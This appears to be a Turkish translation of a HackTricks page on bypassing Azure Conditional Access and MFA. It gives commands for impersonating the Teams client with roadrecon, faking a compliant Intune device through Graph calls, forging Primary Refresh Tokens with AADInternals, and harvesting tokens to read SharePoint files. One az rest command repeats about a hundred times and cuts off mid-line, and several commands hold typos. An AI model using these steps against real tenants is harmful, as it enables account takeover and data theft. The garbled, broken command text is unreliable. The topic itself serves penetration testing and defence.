Az - Conditional Access Policies / MFA Bypass

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Temel Bilgiler

Azure Koşullu Erişim politikaları, belirli koşullara dayalı olarak Azure hizmetlerine ve uygulamalarına erişim kontrolleri uygulamak için Microsoft Azure'da kurulan kurallardır. Bu politikalar, doğru koşullar altında doğru erişim kontrollerini uygulayarak kuruluşların kaynaklarını güvence altına almalarına yardımcı olur. Koşullu erişim politikaları temel olarak Kimin, Neyi, Nereden ve Nasıl erişebileceğini tanımlar.

İşte birkaç örnek:

  1. Oturum Açma Riski Politikası: Bu politika, oturum açma riski tespit edildiğinde çok faktörlü kimlik doğrulama (MFA) gerektirecek şekilde ayarlanabilir. Örneğin, bir kullanıcının oturum açma davranışı, normal desenine kıyasla alışılmadık şekilde farklı bir ülkeden oturum açması gibi durumlarda sistem ek kimlik doğrulama isteyebilir.

  2. Cihaz Uyumluluk Politikası: Bu politika, yalnızca kuruluşun güvenlik standartlarına uyumlu cihazlardan Azure hizmetlerine erişimi kısıtlayabilir. Örneğin, erişim yalnızca güncel antivirüs yazılımına sahip cihazlardan veya belirli bir işletim sistemi sürümünü çalıştıran cihazlardan izin verilebilir.

Koşullu Erişim Politikaları Atlatmaları

Koşullu erişim politikasının, kolayca değiştirilebilen bazı bilgileri kontrol ettiği ve politikanın atlatılmasına izin veren bir geçişi sağladığı mümkündür. Ve örneğin politika MFA yapılandırıyorsa, saldırgan bunu atlayabilir.

Cihaz Platformları - Cihaz Koşulu

Cihaz platformuna (Android, iOS, Windows, macOS) dayalı bir koşul belirtmek mümkündür, ancak bu, kullanıcı ajanına dayandığı için oldukça kolay bir şekilde atlatılabilir. Hatta tüm seçeneklerin MFA'yı zorunlu kılması durumunda, tanımadığı bir kullanıcı ajanı kullanırsanız MFA'yı atlayabilirsiniz.

Konumlar: Ülkeler, IP aralıkları - Cihaz Koşulu

Tabii ki, bu, koşullu politikada belirlenmişse, bir saldırgan sadece izin verilen ülkede bir VPN kullanabilir veya bu koşulları atlatmak için bir izin verilen IP adresinden erişmeye çalışabilir.

Office365 İstemci Uygulamaları

Müşterilerin Office 365 uygulamalarına tarayıcıdan erişmeleri durumunda MFA gerektirebileceğinizi belirtebilirsiniz:

Bunu atlatmak için, korumayı atlayacak bir masaüstü uygulamasından (aşağıdaki örnekte Microsoft Teams'e) bir uygulamaya giriş yaptığınızı taklit etmek mümkündür.

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokrns-stdout

<token>

Microsoft Teams uygulamasının birçok izni olduğu için bu erişimi kullanabileceksiniz.

Önceden tanımlanmış Office365 izinlerine sahip daha fazla genel uygulamanın ID'sini roadtools veritabanında bulabilirsiniz:

SELECT appId, displayName FROM ApplicationRefs WHERE publicCLient = 1 ORDER BY displayName ASC

az ad signed-in-user show --query objectId -o tsv az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices" --body "{"displayName":"<device_name>","operatingSystem":"<operating_system>","enrollmentState":"enrolled","deviceType":"<device_type>","isCompliant":true,"isManaged":true,"isRooted":false,"isSupervised":false,"manufacturer":"","model":"","serialNumber":"<serial_number>","userId":"<user_id>"}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getComplianceState" --body "{"deviceCompliancePolicyId":"<policy_id>"}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body "{}" az rest --method post --uri "https://graph.microsoft.com/v1.0/deviceManagement/managedDevices/<device_id>/getPrimaryUser" --body

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Bu tür saldırılar hakkında daha fazla bilgiyi aşağıdaki sayfada bulabilirsiniz:

Araçlar

Tüm politikaları alın

roadrecon plugin policies

MFASweep, sağlanan bir kimlik bilgisi kümesini kullanarak çeşitli Microsoft hizmetlerine giriş yapmaya çalışan ve MFA'nın etkin olup olmadığını belirlemeye çalışan bir PowerShell komut dosyasıdır. Koşullu erişim politikaları ve diğer çok faktörlü kimlik doğrulama ayarları nasıl yapılandırıldığına bağlı olarak bazı protokoller tek faktörlü olarak bırakılabilir. Ayrıca, ADFS yapılandırmaları için ek bir kontrolü vardır ve tespit edilirse yerel ADFS sunucusuna giriş yapmaya çalışabilir.

Invoke-MFASweep -Username <username> -Password <pass>

Donkey token, güvenlik danışmanlarının Koşullu Erişim Politikalarını doğrulamak için ihtiyaç duydukları, 2FA etkinleştirilmiş Microsoft portalı için testler yapmalarına yardımcı olmayı amaçlayan bir dizi işlevdir.

Import-Module 'C:\Users\Administrador\Desktop\Azure\Modulos ps1\donkeytoken' -Force

Her bir portalı MFA olmadan giriş yapmanın mümkün olup olmadığını test edin:

Test-MFA -credential $cred -Verbose -Debug -InformationAction Continue

Azure portal'ın kısıtlanmadığı için, önceki işlemden herhangi bir hizmete erişmek için portal uç noktasından bir token toplamak mümkündür. Bu durumda Sharepoint tespit edildi ve erişmek için bir token isteniyor:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Varsayalım ki belirli bir belgeye erişim izniniz yok ve MFA nedeniyle web üzerinden Sharepoint'e erişemiyorsunuz. Ancak, oluşturulan belirteç kullanılarak dosyalara erişmek mümkündür. Bu belirteç, Sharepoint'ten Sites.Read.All iznine sahiptir.

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Referanslar

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahramana kadar AWS hackleme öğrenin!

HackTricks'ı desteklemenin diğer yolları:

Last updated